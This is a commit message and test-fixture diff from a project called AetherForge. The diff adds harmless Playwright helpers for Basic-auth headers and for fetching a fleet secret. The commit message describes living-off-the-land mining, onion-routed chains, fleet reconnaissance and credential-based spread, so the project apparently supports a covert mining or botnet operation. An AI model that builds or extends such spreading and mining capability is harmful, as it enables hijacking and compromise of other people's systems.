Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/web/e2e/fixtures.ts

@@ -1,4 +1,4 @@
-import { expect, type Page } from '@playwright/test';
+import { expect, type APIRequestContext, type Page } from '@playwright/test';
 
 /** Matches server/internal/api/integration_test.go testAuthUser / testAuthPass. */
 export const E2E_USER = process.env.AETHERFORGE_E2E_USER || 'testuser';
@@ -7,6 +7,24 @@ export const E2E_PASS = process.env.AETHERFORGE_E2E_PASS || 'testpass';
 /** Seed this into the server data dir as users.json before first start (see tests/README.md). */
 export const E2E_USERS_JSON = JSON.stringify({ [E2E_USER]: E2E_PASS });
 
+export function e2eAuthHeaders(): Record<string, string> {
+  const token = Buffer.from(`${E2E_USER}:${E2E_PASS}`).toString('base64');
+  return {
+    Authorization: `Basic ${token}`,
+    'X-AetherForge-Client': 'dashboard',
+  };
+}
+
+/** Reads fleet_secret from live server config (generated on first server start). */
+export async function fetchFleetSecret(request: APIRequestContext): Promise<string> {
+  const res = await request.get('/api/v1/config', { headers: e2eAuthHeaders() });
+  if (!res.ok()) {
+    throw new Error(`config fetch failed: ${res.status()}`);
+  }
+  const body = (await res.json()) as { server?: { fleet_secret?: string } };
+  return body.server?.fleet_secret ?? '';
+}
+
 export async function loginToDashboard(page: Page): Promise<void> {
   await page.goto('/');
   await expect(page.getByRole('heading', { name: 'AetherForge' })).toBeVisible({ timeout: 15_000 });